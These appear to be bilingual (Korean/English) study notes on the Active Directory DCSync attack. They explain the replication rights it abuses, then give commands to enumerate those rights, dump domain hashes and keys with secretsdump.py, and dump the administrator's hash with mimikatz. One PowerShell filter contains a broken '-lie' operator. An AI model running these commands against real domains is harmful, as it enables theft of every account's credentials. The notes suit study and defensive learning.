What is DCSync and How Does it Work?

<aside>

DCSync는 공격자가 DC인 것처럼 위장하여 다른 DC에게 “사용자 비밀번호 정보를 보내달라”고 요청하는 공격 기법이다. 일반적으로 AD 환경에서는 여러 대의 DC가 서로 최신 정보를 맞추기 위해 데이터를 복제 하는데, 이 매커니즘을 악용하는 것이다.

  1. 핵심 동작 원리
    1. DCSync는 실제 DC를 해킹해서 데이터베이스 파일(ntds.dit)을 직접 훔치는 것이 아니라, 네트워크 프로토콜(MS-DRSR)을 이용한다.
    2. 공격자는 먼저 ‘복제 권한’(Replicating Directory Changes 등)이 있는 계정을 탈취한다.
    3. 탈취한 계정을 이용해 DC에게 “나도 동기화가 필요하니 특정 사용자의 암호 해시를 보내줘”라고 요청한다.
    4. 요청을 받은 DC는 상대방이 권한이 있다고 판단하고, 요청한 사용자의 암호 해시를 전송한다.
  2. 왜 위험한가?
    1. DC의 로컬 시스템에 침입하거나 악성 파일을 실행할 필요가 없으므로 탐자기 어렵다.
    2. 도메인 관리자뿐만 아니라 krbtgt(커버로스 티켓 발급 계정)의 해시도 가져올 수 있어 ‘골든 티켓’ 공격으로 이어질 수 있다.
    3. 한 번 권한을 얻으면 언제든 실시간으로 비밀번호 변경 사항을 추적할 수 있다.
  3. 공격을 위해 필요한 권한
    1. AD 내에서 아래의 두 가지 Extended Rights가 필요하다. 일반 사용자라도 이 권한이 부여되어 있다면 공격자가 될 수 있다.
    2. DS-Replication-Get-Changes (복제 변경 사항 가져오기)
    3. DS-Replication-Get-Changes-All (모든 복제 변경 사항 가져오기 - 비밀번호 포함)
    4. 기본적으로 Domain Admins, Enterprise Admins, Administrators 그룹은 이 권한을 가진다. </aside>

공격

<aside>

DCSync replication can be performed using tools such as Mimikatz, Invoke-DCSync, and Impacket’s secretsdump.py

Using Get-DomainUser to View User’s Group Membership

Get-DomainUser -Identity levi | select samaccountname,objectsid,memberof,useraccountcontrol | fl

Using Get-ObjectAcl to Check levi’s Replication Rights

Here we search specifically for replication rights and check if our user($sid) possesses these rights.

$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=[domain],DC=[.tld]" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ? {$_.SecurityIdentifier -match $sid} | select AceQualifier,ObjectDN,ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Extracting NTLM Hashes and Kerberos Keys using secretsdump.py

secretsdump.py -outputfile [outputfile] -just-dc [DOMAIN/levi@$IP]
secretsdump.py -outputfile [outputfile] -just-dc-ntlm [DOMAIN/levi@$IP]
secretsdump.py -outputfile [outputfile] -just-dc-user [DOMAIN/levi@$IP]

# -pwd-last-set
# -history
# -user-status

Listing Hashes, Kerberos Keys, and Cleartext Passwords

if we check the files created using the -just-dc flag, we will see that there are three: one containing the NTLM hashes, one containing Kerberos keys, and one that would contain cleartext passwords from the NTDS for any accounts set with reversible encryption enabled.

ls [outputfile]*

outputfile.ntds
outputfile.ntds.cleartext
outputfile.ntds.kerberos

Viewing an Account with Reversible Encryption Password Storage Set

When this option is set on a user account, it does not mean that the passwords are stored in cleartext. Instead, they are stored using RC4 encryption. The trick here is that the key needed to decrypt them is stored in the registry (the syskey) and can be extracted by a Domain Admin or equivalent.

Enumerating Accounts with Reversible Encryption Setting enabled using Get-ADUser

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

Enumerating Accounts with Reversible Encryption Setting enabled using Get-DomainUser

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -lie '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

Performing the Attack with Mimikatz

It is important to note that Mimikatz must be ran in the context of the user who has DCSync privileges. We can utilize runas.exe or RunAsCs to accomplish this.

runas.exe /netonly /user:HARI\\levi powershell

Using Mimikatz, we must target a specific user. Here we will target the built in administrator account.

.\\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:HARI.LOCAL /user:HARI\\administrator

</aside>